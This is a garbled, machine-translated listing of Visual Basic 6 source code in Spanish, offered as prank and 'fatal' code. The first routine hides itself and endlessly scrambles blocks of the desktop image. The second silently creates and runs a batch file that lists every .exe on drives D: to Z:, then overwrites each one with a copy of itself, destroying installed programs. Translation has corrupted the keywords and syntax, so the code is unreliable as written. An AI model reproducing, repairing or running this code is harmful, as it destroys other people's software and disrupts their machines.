Falsa del código fuente de Bat
La función de declaración privada GetDesktopWindow Lib "usuario32" "() es Long
Función de declaración privada CreateCompatibleBitmap Lib " GDI 32 " (ByVal hdc es Long, ByVal nWidth es Long, ByVal nHeight es Long) es Long
Función de declaración privada CreateCompatibleDC Lib " GDI 32 " (ByVal hdc As Long)
Función de declaración privada para seleccionar objeto Lib " GDI 32 " (ByVal hdc es Long, ByVal hObject es Long)
Función de declaración privada BitBlt Lib " GDI 32 " (ByVal hDestDC mientras, ByVal x mientras, ByVal y mientras, ByVal nWidth mientras, ByVal nHeight mientras, ByVal hSrcDC mientras, ByVal xSrc mientras, ByVal ySrc mientras, ByVal dwRop mientras )
Private Const SRCCOPY = ampHCC0020 ' (DWORD) dest = fuente
Marcar x como un número entero e y como un número entero
Dim Buffer tiene la misma longitud , hBitmap tiene la misma longitud y Desktop tiene la misma longitud, hScreen tiene la misma longitud, ScreenBuffer tiene la misma longitud
privado Declare Sub invalidate Lib " user 32 "(ByVal hwnd es Long, lpRect es Any , ByVal bErase es Long)
Subventana privada Body_Load()
i. Ocultar
escritorio = GetWindowDC(GetDesktopWindow())
hBitmap = CreateCompatibleDC(escritorio)
hScreen = CreateCompatibleDC(escritorio)
búfer = CreateCompatibleBitmap(Escritorio, 32, 32)
Búfer de pantalla = CreateCompatibleBitmap(Escritorio, Pantalla. Ancho/15, Pantalla. Alto/15)
Seleccione mapa de bits de objeto, búfer
Seleccionar pantalla de objeto, búfer de pantalla
BitBlt hScreen, 0, 0, Pantalla. ancho/15,pantalla. altura/15,desktop,0,0,SRCCOPY
Para i = 0 a 1E 17
y = (pantalla. altura/15) * Rnd
x = (pantalla.
ancho / 15) * Rnd
BitBlt hBitmap, 0, 0, 32, 32, escritorio, x, y, SRCCOPY
BitBlt escritorio, x (1 - 2 * Rnd), y (1 - 2 * Rnd), 32, 32, hBitmap, 0, 0, SRCCOPY
Actividades múltiples
Siguiente yo
End Sub también tiene The truco asesino; código vb fatal
-Declaración.
Si no comprende el código, no genere un archivo exe y ejecútelo...; de lo contrario, no me culpe por no recordárselo. . . . . . .
Declaración privada de la biblioteca sub-sleep "kernel 32" (ByVal dw milisegundos mientras)
Subform_Load() privada
Acerca de la recuperación de erroresPróxima declaración de tolerancia a fallos
Ifdir ("C: \ 123.txt") = " "Entonces, si 123.txt no existe, cree un bat para recorrer el archivo exe.
La salida "c:\a.bat" abierta es la número 1 'Abrir archivo bat.
Imprimir #1, " para a in(d:e:f:g:h:I:j:k:l:m:n:o:p:q:r:s:t: u:v:w:x:y:z:)do dir/s/b a\*.exe gt gtE: 123.txt "'Escribir datos.
' Cerrar #1 'Cierra el archivo.
Sleep 200 'Retrasa el tiempo de generación de archivos en 200 segundos (principalmente para máquinas más lentas).
shell "c:\a.bat", 0 'Ocultarlo y ejecutarlo.
Terminará si...
"Sleep 60000" retrasa 1 minuto para esperar a que se complete el recorrido del exe.
Dim() como cadena
Dim C para Largo, I para Entero
Abrir "c:123.txt" ingresar como # 1 ' Leer el contenido del texto.
Hacer mientras EOF(1) = False
ReDim Preservar A(C)
Entrada #1, A(C)
C = C 1
Anillo
Cierre #1
Para I = 0 a C - 1
Aplicación FileCopy. Caminos y caminos. " \ " ampApp. EXEName amp".'Reemplazar el contenido en txt.
Luego
Finalizar conector
lt/SPANgt.